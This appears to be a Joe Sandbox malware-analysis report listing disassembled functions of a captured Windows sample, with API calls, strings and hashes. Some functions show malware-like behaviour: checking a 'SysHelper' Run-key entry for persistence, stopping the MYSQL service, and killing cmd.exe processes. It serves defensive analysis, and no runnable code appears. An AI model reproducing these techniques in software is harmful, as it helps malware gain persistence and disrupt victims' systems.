RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

SysHelper, xrefs: 004123D6
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

invalid string position, xrefs: 00418342
string too long, xrefs: 00418338

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: 0f15716b166695e00864247e1df175f35371e0258770e6daacd70fab21cfce16
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640
fopen(', xrefs: 00465611
',', xrefs: 0046560B

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: dcb110ff77d0d6de05b3b947bf2ef47405a6d6b42127cdc483a5ab3eba0e5bdc
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: dcb110ff77d0d6de05b3b947bf2ef47405a6d6b42127cdc483a5ab3eba0e5bdc
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: fb95cca08c5137960df09b2932dfcea505f4a1a4214bf1a69b91f53fd9b4b180
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

ENCRYPTED, xrefs: 004633BC
Proc-Type: , xrefs: 0046337C
DEK-Info: , xrefs: 00463422
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

0123456789abcdef, xrefs: 004574C4
, xrefs: 00457482
+, xrefs: 00457475
UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
0123456789ABCDEF, xrefs: 004574D6

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: ff954d4489a2a32b54fea3d22a27fd44705d04e06401a65576fda6a57d4a9bd9
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(00000000,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

error:%08lX:%s:%s:%s, xrefs: 00450792
func(%lu), xrefs: 00450734
lib(%lu), xrefs: 0045071C
reason(%lu), xrefs: 00450758

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 93747ef9676871f384b6e598e8205c6ebfa69a96be3ff907559ef05580cb13b5
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: b31f97ea329719022fda34d1be00e9f165c1a047629ea24459edfa5c04f004d4
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: b31f97ea329719022fda34d1be00e9f165c1a047629ea24459edfa5c04f004d4
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00620000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: d70b67a4a7fe440acc7419d06ec2b6f75a63a325c355f2e5d89529d3462600c6
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: d70b67a4a7fe440acc7419d06ec2b6f75a63a325c355f2e5d89529d3462600c6
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
Opcode Fuzzy Hash: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction Fuzzy Hash: 3301DB35B4030976E720AB51EC86FD67B6DE744B04F144011FE04AB1E1D7F9A549CB98

Function 0041FA40 Relevance: 7.5, APIs: 5, Instructions: 48windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00000012,00000000,00000000), ref: 0041FA53
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA71
DispatchMessageW.USER32(?), ref: 0041FA7B
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041FA89
WaitForSingleObject.KERNEL32(?,0000000A,?,00000012,00000000,00000000), ref: 0041FA94

Memory Dump Source

Source File: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.3274540267.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.3274540267.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

